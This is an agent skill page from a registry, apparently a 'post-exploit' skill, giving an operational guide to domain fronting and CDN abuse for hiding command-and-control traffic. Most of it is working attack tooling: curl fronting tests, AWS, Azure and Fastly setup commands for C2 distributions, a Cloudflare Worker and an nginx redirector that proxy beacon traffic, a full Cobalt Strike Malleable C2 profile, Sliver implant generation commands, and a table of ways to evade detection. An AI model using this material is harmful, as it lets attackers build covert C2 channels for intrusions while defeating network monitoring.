Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.
66
80%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.mdDomain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.
# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search
# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test
# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
# Cobalt Strike — set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";| Technique | ID | Usage in Skill |
|---|---|---|
| Proxy: Domain Fronting | T1090.004 | CDN-based SNI/Host header mismatch for C2 |
| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |
| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |
┌─────────┐ TLS SNI: allowed.example.com ┌──────────┐
│ Implant │ ─────────────────────────────────► │ CDN │
│ │ Host: c2.attacker.cloudfront.net │ Edge │
└─────────┘ └────┬─────┘
│ Routes by Host header
▼
┌──────────┐
│ C2 Origin│
│ Server │
└──────────┘TLS layer (visible to network monitor):
allowed.example.com (high-reputation domain on same CDN)*.cloudfront.net)HTTP layer (inside TLS, invisible to monitor):
Host: c2-distribution.cloudfront.net → CDN routes to operator's originResult: Blocking the C2 requires blocking the entire CDN.
# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
--origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
--default-root-object index.html \
--query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net
# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. → same CDN, usable as front
# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
https://allowed-domain.com/beacon
# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" — front domain not viable# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
"CallerReference": "c2-$(date +%s)",
"Origins": {
"Items": [{
"Id": "c2-origin",
"DomainName": "<C2_ORIGIN>",
"CustomOriginConfig": {
"HTTPPort": 80,
"HTTPSPort": 443,
"OriginProtocolPolicy": "https-only"
}
}],
"Quantity": 1
},
"DefaultCacheBehavior": {
"TargetOriginId": "c2-origin",
"ViewerProtocolPolicy": "https-only",
"AllowedMethods": {
"Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
"Quantity": 7
},
"ForwardedValues": {
"QueryString": true,
"Cookies": {"Forward": "all"},
"Headers": {"Items": ["*"], "Quantity": 1}
},
"MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
},
"Enabled": true,
"Comment": ""
}
EOF
aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.jsonAWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However:
- Fronting within the same distribution (multiple CNAMEs) still works
- Fronting to distributions without custom domains may work intermittently
- CloudFront Functions can be used to rewrite headers before origin routing
Azure CDN (via Verizon/Akamai POP) has historically been more permissive with Host header routing.
# 1. Create Azure CDN profile and endpoint
az cdn profile create --name c2-cdn --resource-group <RG> --sku Standard_Verizon
az cdn endpoint create \
--name <C2_ENDPOINT> \
--profile-name c2-cdn \
--resource-group <RG> \
--origin <C2_ORIGIN> \
--origin-host-header <C2_ORIGIN>
# Endpoint: <C2_ENDPOINT>.azureedge.net
# 2. Test fronting with a high-reputation Azure CDN domain
curl -v -H "Host: <C2_ENDPOINT>.azureedge.net" \
https://ajax.aspnetcdn.com/test
# 3. Alternative fronting domains on Azure CDN:
# - ajax.aspnetcdn.com
# - az416426.vo.msecnd.net
# - Various *.azureedge.net endpointsStandard_Microsoft SKU enforces SNI/Host matching — use Standard_VerizonFastly's architecture makes fronting straightforward when a target domain shares the Fastly POP.
# 1. Create Fastly service via API
curl -X POST "https://api.fastly.com/service" \
-H "Fastly-Key: <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"name":"c2-service","type":"vcl"}'
# 2. Add backend (C2 origin)
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/backend" \
-H "Fastly-Key: <API_TOKEN>" \
-d "name=c2-origin&address=<C2_ORIGIN>&port=443&use_ssl=1"
# 3. Add domain
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/domain" \
-H "Fastly-Key: <API_TOKEN>" \
-d "name=c2-front.global.ssl.fastly.net"
# 4. Activate version
curl -X PUT "https://api.fastly.com/service/<SVC_ID>/version/<VER>/activate" \
-H "Fastly-Key: <API_TOKEN>"
# 5. Test
curl -v -H "Host: c2-front.global.ssl.fastly.net" \
https://legitimate-customer.global.ssl.fastly.net/beaconWhen pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors.
// Cloudflare Worker — proxies C2 traffic to origin
// Deploy on a legitimate-looking domain (e.g., analytics-cdn.example.com)
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request));
});
async function handleRequest(request) {
const C2_ORIGIN = "https://<C2_SERVER>";
const url = new URL(request.url);
// Only proxy specific paths (blend with legitimate 404s on others)
if (!url.pathname.startsWith("/api/v2/")) {
return new Response("Not Found", { status: 404 });
}
// Forward to C2 origin
const c2Url = C2_ORIGIN + url.pathname + url.search;
const modifiedRequest = new Request(c2Url, {
method: request.method,
headers: request.headers,
body: request.body
});
const response = await fetch(modifiedRequest);
// Strip identifying headers from response
const modifiedResponse = new Response(response.body, response);
modifiedResponse.headers.set("Server", "cloudflare");
modifiedResponse.headers.delete("X-Powered-By");
return modifiedResponse;
}# /etc/nginx/sites-available/c2-redirect.conf
# Sits behind CDN; forwards matching requests to teamserver
server {
listen 443 ssl;
server_name <C2_ORIGIN>;
ssl_certificate /etc/letsencrypt/live/<C2_ORIGIN>/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/<C2_ORIGIN>/privkey.pem;
# Proxy Beacon traffic to teamserver
location /s/ref {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_ssl_verify off;
}
location /gp/product {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_ssl_verify off;
}
# Return legitimate content for other paths (categorization)
location / {
root /var/www/html;
index index.html;
}
}# /workspace/profiles/fronting.profile
set sample_name "CDN Fronting Profile";
set sleeptime "60000";
set jitter "40";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set host_stage "false";
https-certificate {
# Use the CDN's certificate — no custom cert needed
# The CDN terminates TLS; origin connection is separate
set CN "*.cloudfront.net";
set O "Amazon";
set C "US";
}
http-get {
set uri "/s/ref=nb_sb_noss_2";
client {
header "Accept" "*/*";
header "Accept-Language" "en-US,en;q=0.5";
# This is the critical header — CDN routes by it
header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
metadata {
base64url;
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Server" "CloudFront";
header "X-Cache" "Hit from cloudfront";
output {
netbios;
prepend "<!DOCTYPE html><html><body>";
append "</body></html>";
print;
}
}
}
http-post {
set uri "/api/v2/submit";
client {
header "Content-Type" "application/json";
header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
id {
base64url;
header "X-Request-Id";
}
output {
base64url;
print;
}
}
server {
header "Content-Type" "application/json";
output {
netbios;
prepend "{\"status\":\"ok\",\"payload\":\"";
append "\"}";
print;
}
}
}# In Cobalt Strike listener config:
# HTTPS Host (stager): <FRONTABLE_DOMAIN>
# HTTPS Host (post): <FRONTABLE_DOMAIN>
# HTTPS Port: 443
# Profile: fronting.profile (loaded at teamserver start)
#
# The listener binds on the teamserver; the CDN proxies traffic to it.
# The Beacon connects to <FRONTABLE_DOMAIN>:443 (CDN edge).
# The Host header routes to <C2_DISTRIBUTION>.cloudfront.net -> C2 origin.# In Sliver console:
# 1. Start HTTPS listener on C2 origin
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
# 2. Generate implant that connects to frontable domain
generate beacon --https <FRONTABLE_DOMAIN> --os windows --arch amd64 \
--seconds 60 --jitter 40 --skip-symbols \
--save /workspace/exploit/
# 3. Custom HTTP C2 profile for fronting
# Save as profiles/fronting.json{
"implant_config": {
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"url_parameters": [],
"headers": [
{"name": "Host", "value": "<C2_DISTRIBUTION>.cloudfront.net", "probability": 100},
{"name": "Accept", "value": "text/html", "probability": 100}
]
},
"server_config": {
"headers": [
{"name": "Content-Type", "value": "text/html; charset=utf-8", "probability": 100},
{"name": "Server", "value": "CloudFront", "probability": 100},
{"name": "X-Cache", "value": "Hit from cloudfront", "probability": 100}
]
}
}TLS ClientHello (visible): SNI = allowed-site.cloudfront.net
HTTP Request (encrypted): Host: c2-dist.cloudfront.net ← CDN routes by THIS| Failure Mode | Cause | Fix |
|---|---|---|
| HTTP 403 | CDN validates SNI == Host | Try alternate CDN or redirector |
| TLS error | SNI domain not on CDN | Verify domain resolves to CDN edge |
| HTTP 421 | HTTP/2 ORIGIN frame validation | Fall back to HTTP/1.1 |
| 502/504 | CDN can't reach C2 origin | Whitelist CDN IP ranges on origin firewall |
ECH/ESNI: Encrypted Client Hello encrypts the SNI field entirely — eliminates the need for fronting when CDN supports it. Test: curl -v --ech true https://<C2>/beacon
| Indicator | Pattern | Mitigation |
|---|---|---|
| SNI/Host mismatch | TLS SNI differs from HTTP Host header | Use CDN domains from same organization |
| CDN origin pull | Unusual origin IP in CDN access logs | Use cloud VM as origin; rotate IPs |
| JA3 fingerprint | TLS fingerprint doesn't match expected browser | Match JA3 to target browser version |
| Beacon timing | Regular HTTPS requests to CDN at fixed intervals | High jitter (50%+); randomize URI paths |
| HTTP/2 ORIGIN | CDN pushes ORIGIN frame revealing allowed hosts | Fall back to HTTP/1.1 in profile |
| Response size anomaly | C2 responses differ from legitimate content | Pad responses; prepend/append real HTML |
| Certificate transparency | CT logs reveal C2 distribution domain | Use existing CDN distributions |
| Issue | Symptom | Resolution |
|---|---|---|
| CDN blocks fronting | HTTP 403 on every request | Switch CDN provider or use CDN redirector pattern |
| DNS resolution fails | Frontable domain doesn't resolve | Verify domain is active; check DNS propagation |
| Origin connection refused | CDN can't reach C2 backend | Ensure C2 server allows CDN IP ranges in firewall |
| TLS version mismatch | Handshake failure | Match CDN's minimum TLS version (usually 1.2+) |
| Rate limiting | CDN rate-limits requests from same IP | Increase sleep; distribute across edge POPs |
| HTTP/2 enforcement | CDN upgrades to HTTP/2; breaks fronting | Force HTTP/1.1 in profile or use h2 with correct ORIGIN |
| CDN caching | Stale C2 responses served from cache | Set Cache-Control: no-store; TTL=0 in CDN config |
| Provider policy change | Fronting stops working without warning | Monitor; maintain fallback C2 channel (DNS, alt CDN) |
Is domain fronting viable for this engagement?
├── Test: curl -H "Host: <C2>.cloudfront.net" https://<FRONT_DOMAIN>/
│ ├── HTTP 200 from C2 origin → Fronting works
│ │ ├── CloudFront available → Use CloudFront + Malleable C2 profile
│ │ ├── Azure CDN available → Use azureedge.net fronting
│ │ └── Fastly available → Use Fastly global SSL fronting
│ ├── HTTP 403 → CDN enforces SNI/Host match
│ │ ├── CDN redirector pattern (Cloudflare Worker, Lambda@Edge)
│ │ ├── Same-distribution fronting (multiple CNAMEs)
│ │ └── Try alternate CDN provider
│ └── Connection error → Domain not on CDN
│ └── Use CDN redirector or direct HTTPS with categorized domain
├── ECH/ESNI available on target CDN?
│ ├── YES → ECH eliminates need for fronting; SNI is encrypted
│ └── NO → Standard fronting or redirector required
└── Fallback strategy
├── Primary: Domain fronting via CDN
├── Secondary: CDN Worker/Function redirector
└── Tertiary: Alternative C2 channel (see c2-alternative-channels)| Tool | Purpose | Source |
|---|---|---|
| Cobalt Strike | Malleable C2 profiles with fronting support | https://www.cobaltstrike.com/ |
| Sliver | Open-source C2 with HTTP profile customization | https://github.com/BishopFox/sliver |
| FindFrontableDomains | Discover CDN-hosted domains for fronting | https://github.com/rvrsh3ll/FindFrontableDomains |
| DomainHunter | Expired domain finder with categorization | https://github.com/threatexpress/domainhunter |
| Meek (Tor) | Domain fronting transport plugin | https://trac.torproject.org/projects/tor/wiki/doc/meek |
| Cloudflare Workers | Edge function C2 redirector | https://workers.cloudflare.com/ |
| mod_rewrite | Apache redirector rules | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | C2 traffic inspection/filtering proxy | https://github.com/mgeeky/RedWarden |
e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.